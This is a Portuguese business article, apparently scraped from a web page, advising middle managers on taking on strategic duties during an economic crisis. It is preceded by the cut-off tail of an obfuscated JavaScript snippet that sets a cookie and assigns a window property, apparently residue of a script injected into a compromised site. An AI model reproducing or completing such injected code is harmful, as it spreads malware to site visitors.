1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Diante da conjuntura econômica atual, muitas empresas estão revendo sua estrutura e, com isso, aumenta a possibilidade de gestores intermediários e com menos experiência, assumirem mais responsabilidades. Mas como esses novos líderes devem lidar com a crescente exigência por resultados?

Para se adequarem ao período de instabilidade econômica, algumas empresas terminam por acelerar os processos de aposentadoria de profissionais mais antigos, reduzindo a folha de pagamento, mas principalmente, ajustando a equipe gerencial às necessidades de mercado. Uma das razões para essa escolha é que dificilmente um diretor assumirá as funções dos gerentes, mas o contrário pode acontecer.

Novos gerentes poderão, nesse momento, ter que assumir mais responsabilidades estratégicas, sem deixar de olhar a gestão que já realizava e o acompanhamento mais operacional. Nesse processo, as organizações procuram avaliar quais profissionais poderão responder melhor às exigências de fazer mais com menos, quais tem a disponibilidade de permanência na organização por mais tempo e a capacidade de ser multitarefa.

Para se adequar a essa nova realidade, os gestores intermediários deverão estar atentos aos seus processos de desenvolvimento nas habilidades de gestão, como o acompanhamento de equipes e o foco nos resultados. Além disso, é preciso ter a capacidade de visualização do mercado e de propor e implementar mudanças. Maior ainda é a exigência se o profissional é um jovem gestor.

Portanto, se você foi convidado a assumir responsabilidades além daquelas que seu cargo atual exige, procure estar atento a esses pontos. Estabeleça uma priorização de atividades e monte uma agenda de acompanhamento. Em época de crise, atender as exigências do mercado pode ser a chave para uma futura colocação de destaque.